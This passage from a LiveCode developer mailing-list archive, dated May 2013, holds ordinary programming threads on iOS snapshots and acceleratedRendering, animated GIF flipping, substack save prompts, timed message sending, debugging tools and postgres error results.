> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Tue May 14 06:56:44 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 14 May 2013 06:56:44 -0400 Subject: Live13 In-Reply-To: References: Message-ID: <3D0A1369-8B7C-4331-B2CE-DCACB2ECD366@mac.com> Mark, Thank you so much for this update. The video simulcast is only of the main speaker and this year there is no video of the other tracks. I do remember the lack of a decent internet connection at AC. Wish I was there Mark. Keep up the catch up. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 14, 2013, at 6:31 AM, Mark Talluto wrote: > The Keynote is over and we are in a mingling session for networking. The spirit is quite high. The RunRev staff is highly available to talk to. The vibe is very upbeat. The venue is one of the best so far. I might add that the internet works at this location. If you were at the Atlanta conference, you know what I mean. Tom, you surely remember that fiasco. > > The weather is cool but comfortable. This is your one minute catch up on what is going on over here. Brought to you by your friends at Canela. > > > Best regards, > > Mark Talluto > http://www.canelasoftware.com > > > > > > On May 14, 2013, at 8:57 AM, Thomas McGrath III wrote: > >> No video, no chat, what's going on ???? >> >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From userev at canelasoftware.com Tue May 14 07:13:33 2013 From: userev at canelasoftware.com (Mark Talluto) Date: Tue, 14 May 2013 12:13:33 +0100 Subject: Live13 In-Reply-To: <3D0A1369-8B7C-4331-B2CE-DCACB2ECD366@mac.com> References: <3D0A1369-8B7C-4331-B2CE-DCACB2ECD366@mac.com> Message-ID: <1AFFF75B-25B3-43F4-95A7-F3F54A353CD4@canelasoftware.com> There is only one track this time around. Aside from the single track system, there are two workshop options that are small group in design (10 people max). These are being run by RunRev staff. So you are not missing anything presentation wise while watching the simulcast. I did a net speed check. We are getting a solid 8Mb (Megabit) down with an incredible 57Mb up. Totally different story from previous locations. -Mark On May 14, 2013, at 11:56 AM, Thomas McGrath III wrote: > Mark, Thank you so much for this update. > > The video simulcast is only of the main speaker and this year there is no video of the other tracks. > > I do remember the lack of a decent internet connection at AC. Wish I was there Mark. Keep up the catch up. > > Tom > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 14, 2013, at 6:31 AM, Mark Talluto wrote: > >> The Keynote is over and we are in a mingling session for networking. The spirit is quite high. The RunRev staff is highly available to talk to. The vibe is very upbeat. The venue is one of the best so far. I might add that the internet works at this location. If you were at the Atlanta conference, you know what I mean. Tom, you surely remember that fiasco. >> >> The weather is cool but comfortable. This is your one minute catch up on what is going on over here. Brought to you by your friends at Canela. >> >> >> Best regards, >> >> Mark Talluto >> http://www.canelasoftware.com >> >> >> >> >> >> On May 14, 2013, at 8:57 AM, Thomas McGrath III wrote: >> >>> No video, no chat, what's going on ???? >>> >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> mcgrath3 at mac.com >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From roger.e.eller at sealedair.com Tue May 14 07:17:16 2013 From: roger.e.eller at sealedair.com (Roger Eller) Date: Tue, 14 May 2013 07:17:16 -0400 Subject: Flipping Animated GIFs In-Reply-To: <5191CFD3.1020600@gmail.com> References: <5191CFD3.1020600@gmail.com> Message-ID: A quick hide / show should get him animated again... unless it's not supported while flipped. I have not tried it. ~Roger On May 14, 2013 1:47 AM, "Richmond" wrote: > So, I am working out something fairly babyish for one of my "introduction > to programming" > nonsense in the Summer and have a stack that has the dimensions: > > 1044 x 788 > > it has a transparent graphic with a 2 pixel black border of dimensions > 1024 x 768 > > [this is to explain to kids what is "on-screen" and what is "off-screen"] > > and an animated walking stick figure called img "MAN" (animated GIF) > > I plan to use the arrow keys on the keyboard to move "MAN" around. > > HOWVER, I don't really want "MAN" walking backwards sometimes, so decided > to FLIP him > like this: > > flip img "MAN" horizontal (grammatically a bit dicky, but coding-wise > acceptable) > > when I do that the animation stops . . . not good at all. > > So . . . questions: > > 1. Is there a way to, while flipping my GIF, ensuring it keeps animating? > > 2. Or, am I going to have a leftward facing version and a rightward facing > version and muck around with > visibility? > > Richmond. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From irog at mac.com Tue May 14 08:25:34 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 05:25:34 -0700 Subject: Import Snapshot in iOS In-Reply-To: <51915E53.5050201@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> Message-ID: Hi, I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? Thanks, Roger From dixonja at hotmail.co.uk Tue May 14 08:37:07 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Tue, 14 May 2013 13:37:07 +0100 Subject: Import Snapshot in iOS In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com>, <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net>, <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org>, , <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch>, <51867E7B.1090702@braguglia.ch>, , , <51915E53.5050201@economy-x-talk.com>, Message-ID: Roger... I use 'import snapshot' on an app in the iTunes store... acceleratedRendering is true. I am not have had any problems.. Dixie > Subject: Import Snapshot in iOS > From: irog at mac.com > Date: Tue, 14 May 2013 05:25:34 -0700 > To: use-livecode at lists.runrev.com > > Hi, > > I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? > > Thanks, > Roger From mcgrath3 at mac.com Tue May 14 08:57:11 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Tue, 14 May 2013 08:57:11 -0400 Subject: Import Snapshot in iOS In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> Message-ID: <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> Hadn't tried it with acceleratedRendering true. a-r can be turned off at will so it shouldn't be too much of a problem but if it's a bug and not a 'feature' should let RR know about it. -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com On May 14, 2013, at 8:25 AM, Roger Guay wrote: > Hi, > > I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? > > Thanks, > Roger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bertshuler at yahoo.com Tue May 14 10:14:41 2013 From: bertshuler at yahoo.com (Bert Shuler) Date: Tue, 14 May 2013 07:14:41 -0700 (PDT) Subject: Field changes prompting save Message-ID: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> I created a sub-stack with my fields, and I am using a sqlite db to populate them. It has the standard "next record" and CRUD type buttons. When I close the substack via the X (windows form close), it prompts me to save.? I want to do the saving to the DB, and the substack should not prompt to save. Any ideas on how to do this? Honestly, I did some searching in the docs, but I am not sure which terms to search for.? From rjb at robelko.com Tue May 14 10:27:25 2013 From: rjb at robelko.com (Robert Brenstein) Date: Tue, 14 May 2013 16:27:25 +0200 Subject: Field changes prompting save In-Reply-To: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> References: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> Message-ID: On 14.05.2013 at 7:14 Uhr -0700 Bert Shuler apparently wrote: >I created a sub-stack with my fields, and I am using a sqlite db to >populate them. >It has the standard "next record" and CRUD type buttons. > >When I close the substack via the X (windows form close), it prompts >me to save. >I want to do the saving to the DB, and the substack should not prompt to save. > >Any ideas on how to do this? Honestly, I did some searching in the >docs, but I am not sure which terms to search for. One easy way would be to open your substack as modeless when calling it in your main stack. Look up modeless command in the docs. Tip: code it so if holding the alt key down, this mode is not invoked and the stack opens as toplevel. This way, you can easily get to edit it, should there be a need. Robert From dixonja at hotmail.co.uk Tue May 14 10:41:14 2013 From: dixonja at hotmail.co.uk (John Dixon) Date: Tue, 14 May 2013 15:41:14 +0100 Subject: Import Snapshot in iOS In-Reply-To: <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> References: <5179C0E3.3090802@economy-x-talk.com>, <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net>, <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org>, , <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch>, <51867E7B.1090702@braguglia.ch>, , , <51915E53.5050201@economy-x-talk.com>, , <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> Message-ID: Import snapshot works regardless of the setting of acceleratedRendering ... so, it's not a 'bug' or a 'feature'... it just does what is says on the tin... > Subject: Re: Import Snapshot in iOS > From: mcgrath3 at mac.com > Date: Tue, 14 May 2013 08:57:11 -0400 > To: use-livecode at lists.runrev.com > > Hadn't tried it with acceleratedRendering true. a-r can be turned off at will so it shouldn't be too much of a problem but if it's a bug and not a 'feature' should let RR know about it. > > > -- Tom McGrath III > http://lazyriver.on-rev.com > mcgrath3 at mac.com > > On May 14, 2013, at 8:25 AM, Roger Guay wrote: > > > Hi, > > > > I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? > > > > Thanks, > > Roger > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dan at clearvisiontech.com Tue May 14 10:55:30 2013 From: dan at clearvisiontech.com (Dan Friedman) Date: Tue, 14 May 2013 07:55:30 -0700 Subject: iOS Audio/Video In-Reply-To: References: Message-ID: <2CFE2333-4102-415F-B205-05CAA0C22315@clearvisiontech.com> Greetings! I have a couple of A/V questions... (1) Is it possible to determine if headphones are inserted (or otherwise connected) to a iPhone/iPad? (2) Can the volume of a iOS Player Control be set? If not, can the Application Instance volume be set? If not, can the device volume be set? Any assistance is appreciated. Thanks, -Dan From skip at magicgate.com Tue May 14 11:18:37 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 14 May 2013 11:18:37 -0400 Subject: Timed scripts without locking up functionality In-Reply-To: References: <77972A14-9BEB-4422-B29A-683E0565DA39@kagi.com> Message-ID: Thank you everybody.... Works great! SKIP On Mon, May 13, 2013 at 9:07 PM, Scott Rossi wrote: > Make sure you put the message to be sent in quotes: > > send "magicgatemouseup" ... > > > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/13/13 5:26 PM, "kee nethery" wrote: > > >-- use a > > > >send magicgatemouseup to stack "mystack" in 120 seconds > > > > > >-- then in your stack > > > >on magicgatemouseup > > processRequest > > if condition is not met then > > send magicgatemouseup to stack "mystack" in 120 seconds > > end if > >end magicgatemouseup > > > > > >On May 13, 2013, at 5:21 PM, Magicgate Software - Skip Kimpel > > wrote: > > > >> I am having a hard time researching a solution since most of the forums > >>are > >> down :) Here is my issue, hopefully somebody has the simple answer to > >>my > >> question... > >> > >> I have a script that runs every two minutes and I have been calling it > >>with: > >> > >> on mouseUp > >> wait for 120 seconds > >> processRequest > >> end mouseUp > >> > >> I then call a repeat script that keeps checking for the status and > >> repeating it until a condition is met. Obviously when I do this it > >>locks > >> up my software until the condition has been satisfied. > >> > >> How can I do this without locking everything up? > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >>subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > >_______________________________________________ > >use-livecode mailing list > >use-livecode at lists.runrev.com > >Please visit this url to subscribe, unsubscribe and manage your > >subscription preferences: > >http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From skip at magicgate.com Tue May 14 11:20:32 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Tue, 14 May 2013 11:20:32 -0400 Subject: Trace.. Like Director Message-ID: For all you Director "convertees".... Does LC have a feature like "trace" in Director where you can watch code execution as it happens? SKIP From pete at lcsql.com Tue May 14 11:27:34 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 08:27:34 -0700 Subject: skip lists In-Reply-To: <6B3178A3-4AEB-47B9-8731-EAF0F648AE52@mail.com> References: <59E77690-B922-4B95-AA04-8721BB73960B@gmail.com> <518EC41F.5050600@fourthworld.com> <5190178B.3090108@tweedly.net> <6B3178A3-4AEB-47B9-8731-EAF0F648AE52@mail.com> Message-ID: On Mon, May 13, 2013 at 11:09 PM, Dick Kriesel wrote: > Hey, Pete. Thanks for the credit, but when I try that expression, > tDataA[tKeyA], on that data, it's empty. > > That expression, however, would be good for accessing node > tDataA[10][11][12][13][14][15][16], if you had one. > Wow, I really messed that yp didn't I! Sorry about that, it's been a while since I used that technique and mis-remembered how it worked. Still glad it came up again though because it is a useful thing to know about. Pete lcSQL Software From pete at lcsql.com Tue May 14 11:31:35 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 08:31:35 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: I guess I was looking for the Livecode script, not the SQL statement. But Mike's point is a good one; the dictionary is pretty adamant about not including a semicolon at the end SQL statements Pete lcSQL Software On Mon, May 13, 2013 at 6:52 PM, Dr. Hawkins wrote: > On Mon, May 13, 2013 at 6:41 PM, Peter Haworth wrote: > > > I haven't used LC with postgresql but seems pretty unlikely that a > > successful operation would return "revdberr". If you post your code and > > also the full text of the error message you get back, can probably figure > > out what's going on. > > > > That's the problem--this *is* the entire result. > > Something like > UPDATE mytable SET mypet='cat' WHERE food='mice'; > > yields this error > > But then checking > SELECT * FROM mytable; > > yields > cat mice > > where there was a prior entry of "snake, mice" > > I've seen this message many, many times, and every time I've checked the db > contents when getting this one-word error, the commit was successful. > > It's as if LC has a structure > > SWITCH > CASE lots > CASE of > CASE conditions > put somenumber into theRes > break > DEFAULT > put "revdberr," into theRes > SWITCH > CASE condition 1; > put cr & gizmo after theRes > break > ... > END SWITCH > END SWITCH > > return theRes > > > .But I absolutely agree that it makes no sense . . . > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From scott at tactilemedia.com Tue May 14 11:33:23 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Tue, 14 May 2013 08:33:23 -0700 Subject: Trace.. Like Director In-Reply-To: References: Message-ID: <241393A8-939D-4321-84CD-CBDFC6EAF6CF@tactilemedia.com> LiveCode has the message box, where you can spit out values of anything by scripting "put..." for example "put mySpecialOutputValue". And there is a debugger which is activated by clicking in the left margin of the script editor and placing a red dot next to the line where you want to start debugging. When the execution of your code reaches the dotted line, the debugger will launch. Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 14, 2013, at 8:20 AM, Magicgate Software - Skip Kimpel wrote: > For all you Director "convertees".... Does LC have a feature like "trace" > in Director where you can watch code execution as it happens? > > SKIP > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Tue May 14 11:36:01 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 14 May 2013 08:36:01 -0700 Subject: Field changes prompting save In-Reply-To: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> References: <1368540881.78250.YahooMailNeo@web161503.mail.bf1.yahoo.com> Message-ID: Write a closeStack handler for the substack that issues a save command. It's kinda working around the issue rather than fixing it but does avoid a user prompt. Pete lcSQL Software On Tue, May 14, 2013 at 7:14 AM, Bert Shuler wrote: > I created a sub-stack with my fields, and I am using a sqlite db to > populate them. > It has the standard "next record" and CRUD type buttons. > > When I close the substack via the X (windows form close), it prompts me to > save. > I want to do the saving to the DB, and the substack should not prompt to > save. > > Any ideas on how to do this? Honestly, I did some searching in the docs, > but I am not sure which terms to search for. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From endernafi at gmail.com Tue May 14 12:19:37 2013 From: endernafi at gmail.com (=?utf-8?Q?Ender_Nafi_Elek=C3=A7io=C4=9Flu?=) Date: Tue, 14 May 2013 19:19:37 +0300 Subject: iOS Audio/Video In-Reply-To: <2CFE2333-4102-415F-B205-05CAA0C22315@clearvisiontech.com> References: <2CFE2333-4102-415F-B205-05CAA0C22315@clearvisiontech.com> Message-ID: <9D37667CC30B4D85AF5BBC17FD62B67F@gmail.com> Hi Dan, > (1) Is it possible to determine if headphones are inserted (or otherwise connected) to a iPhone/iPad? Probably, you'll need an external for that. > (2) Can the volume of a iOS Player Control be set? If not, can the Application Instance volume be set? If not, can the device volume be set? Check the *mobileSetSoundChannelVolume* and *mobileSoundChannelVolume* from dictionary. Best, ~ Ender Nafi ~? together, we're smarter ?~ From irog at mac.com Tue May 14 12:16:21 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 09:16:21 -0700 Subject: Import Snapshot in iOS In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> Message-ID: <4EF65DCC-DB15-43B9-B0D9-B0DC82CAEFEE@mac.com> No doubt, you're correct John. But, in my case, acceleratedRendering is the one line of code that results in snapshot not working in iOS. I've tried moving it from openStack to preopenStack to no avail. Can you think of any reason why this might be? Thanks, Roger On May 14, 2013, at 7:41 AM, John Dixon wrote: > Import snapshot works regardless of the setting of acceleratedRendering ... so, it's not a 'bug' or a 'feature'... it just does what is says on the tin... > >> Subject: Re: Import Snapshot in iOS >> From: mcgrath3 at mac.com >> Date: Tue, 14 May 2013 08:57:11 -0400 >> To: use-livecode at lists.runrev.com >> >> Hadn't tried it with acceleratedRendering true. a-r can be turned off at will so it shouldn't be too much of a problem but if it's a bug and not a 'feature' should let RR know about it. >> >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> On May 14, 2013, at 8:25 AM, Roger Guay wrote: >> >>> Hi, >>> >>> I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? >>> >>> Thanks, >>> Roger >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From irog at mac.com Tue May 14 12:23:39 2013 From: irog at mac.com (Roger Guay) Date: Tue, 14 May 2013 09:23:39 -0700 Subject: Import Snapshot in iOS In-Reply-To: <4EF65DCC-DB15-43B9-B0D9-B0DC82CAEFEE@mac.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> <4EF65DCC-DB15-43B9-B0D9-B0DC82CAEFEE@mac.com> Message-ID: I just tried it on a stack that Ender provided and again, found that snapshot does not work in iOS if acceleratedRendering is set true on openStack. BTW, I'm using LC 5.5.4. Roger On May 14, 2013, at 9:16 AM, Roger Guay wrote: > No doubt, you're correct John. But, in my case, acceleratedRendering is the one line of code that results in snapshot not working in iOS. I've tried moving it from openStack to preopenStack to no avail. Can you think of any reason why this might be? > > > Thanks, > Roger > > > > On May 14, 2013, at 7:41 AM, John Dixon wrote: > >> Import snapshot works regardless of the setting of acceleratedRendering ... so, it's not a 'bug' or a 'feature'... it just does what is says on the tin... >> >>> Subject: Re: Import Snapshot in iOS >>> From: mcgrath3 at mac.com >>> Date: Tue, 14 May 2013 08:57:11 -0400 >>> To: use-livecode at lists.runrev.com >>> >>> Hadn't tried it with acceleratedRendering true. a-r can be turned off at will so it shouldn't be too much of a problem but if it's a bug and not a 'feature' should let RR know about it. >>> >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> mcgrath3 at mac.com >>> >>> On May 14, 2013, at 8:25 AM, Roger Guay wrote: >>> >>>> Hi, >>>> >>>> I've discovered that Import Snapshot does not work in iOS if acceleratedRendering is set to true. Works fine in OS X but not iOS. Any thoughts? >>>> >>>> Thanks, >>>> Roger >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From endernafi at gmail.com Tue May 14 12:34:08 2013 From: endernafi at gmail.com (=?utf-8?Q?Ender_Nafi_Elek=C3=A7io=C4=9Flu?=) Date: Tue, 14 May 2013 19:34:08 +0300 Subject: Import Snapshot in iOS In-Reply-To: References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> <51915E53.5050201@economy-x-talk.com> <0E2E88D1-6298-4103-B040-05660641DF7A@mac.com> <4EF65DCC-DB15-43B9-B0D9-B0DC82CAEFEE@mac.com> Message-ID: Roger's right. It's an odd thing but setting the a-R to true prohibits importing snapshots. Commenting it out fixes the issue. Not tested in LiveCode 6.0.1, though? ~ Ender Nafi ~? together, we're smarter ?~ From dan at clearvisiontech.com Tue May 14 12:29:27 2013 From: dan at clearvisiontech.com (Dan Friedman) Date: Tue, 14 May 2013 09:29:27 -0700 Subject: iOS Audio/Video Message-ID: <5C8B1195-303E-44FC-8D87-25D6661EC3C9@clearvisiontech.com> Ender, Thanks for the reply... but I don't think mobileSetSoundChannelVolume and mobileSoundChannelVolume are connected to the iOS Player Control. From what I can tell, the audio playing from the iOS Player Control isn't listed in mobileSoundChannels(). Therefore, mobileSetSoundChannelVolume and mobileSoundChannelVolume are not applicable. Any other thoughts? I am beginning to think it's not possible to control the sound of a playing movie on iOS unless you use the play video command. But, then you have no control over the video! Ug. -Dan > Hi Dan, > > > (1) Is it possible to determine if headphones are inserted (or otherwise connected) to a iPhone/iPad? > > Probably, you'll need an external for that. > > > (2) Can the volume of a iOS Player Control be set? If not, can the Application Instance volume be set? If not, can the device volume be set? > > Check the *mobileSetSoundChannelVolume* and *mobileSoundChannelVolume* from dictionary. > > > Best, > > ~ Ender Nafi From matthias_livecode_150811 at m-r-d.de Tue May 14 12:31:24 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Tue, 14 May 2013 18:31:24 +0200 Subject: Trace.. Like Director In-Reply-To: <241393A8-939D-4321-84CD-CBDFC6EAF6CF@tactilemedia.com> References: <241393A8-939D-4321-84CD-CBDFC6EAF6CF@tactilemedia.com> Message-ID: And there is Mark Wieder?s nifty PowerDebug, which even let you remote debug. http://www.ahsoftware.net/PowerTools/PowerDebug/PDDemo.html Matthias Am 14.05.2013 um 17:33 schrieb Scott Rossi : > LiveCode has the message box, where you can spit out values of anything by scripting "put..." for example "put mySpecialOutputValue". And there is a debugger which is activated by clicking in the left margin of the script editor and placing a red dot next to the line where you want to start debugging. When the execution of your code reaches the dotted line, the debugger will launch. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX Design > > On May 14, 2013, at 8:20 AM, Magicgate Software - Skip Kimpel wrote: > >> For all you Director "convertees".... Does LC have a feature like "trace" >> in Director where you can watch code execution as it happens? >> >> SKIP >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dan at clearvisiontech.com Tue May 14 12:34:28 2013 From: dan at clearvisiontech.com (Dan Friedman) Date: Tue, 14 May 2013 09:34:28 -0700 Subject: mobilePickMedia In-Reply-To: References: Message-ID: <8AB95387-9F4C-4EB8-A2B4-8896823F828F@clearvisiontech.com> mobilePickMedia allows you to pick media from the devices audio library. Is there a way to pick (or just get a reference to) a movie? The movies/videos listed in the "Videos" app? Thanks! -Dan From ambassador at fourthworld.com Tue May 14 12:37:21 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Tue, 14 May 2013 09:37:21 -0700 Subject: Import Snapshot in iOS In-Reply-To: References: Message-ID: <51926841.804@fourthworld.com> Ender Nafi wrote: > Roger's right. > It's an odd thing but setting the a-R to true prohibits importing snapshots. > Commenting it out fixes the issue. > Not tested in LiveCode 6.0.1, though? That's not mentioned in the Dictionary. Is that a documentation bug, or does it only affect the older method of importing snapshots by rect while still allowing the new method of making snapshots from object references? -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From dochawk at gmail.com Tue May 14 13:03:59 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Tue, 14 May 2013 10:03:59 -0700 Subject: "revdberr, " as the returned value on *successful* postgres operations In-Reply-To: References: Message-ID: On Mon, May 13, 2013 at 7:11 PM, Mike Bonner wrote: > Are you adding the ; at the end of your sql strings? I'm pretty sure rev > appends its own ; so the result would be an extra one. Which might make > postgres a) do whatever you told it to, then b) return a confused error due > to the second ; > > Try it without adding the ; > I took off the trailing semicolon: BEGIN TRANSACTION; UPDATE baggins_bilbo____001_sofa SET A = 'Ape guy', B = 'Sunday', C = '9 banana', D = '', usr= '', tstmp = NOW() WHERE uniq_sfky =7; UPDATE dhbk_dtIdx SET lastOpened=NOW(), usr=' ' WHERE dtStem='baggins_bilbo____001'; COMMIT and still get the same message. Livecode certainly isn't adding semicolon after every line--if I take out the others, the UPDATE throws an error. I've also seen the same issue with single transactions outside of BEGIN blocks. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From endernafi at gmail.com Tue May 14 13:17:54 2013 From: endernafi at gmail.com (=?utf-8?Q?Ender_Nafi_Elek=C3=A7io=C4=9Flu?=) 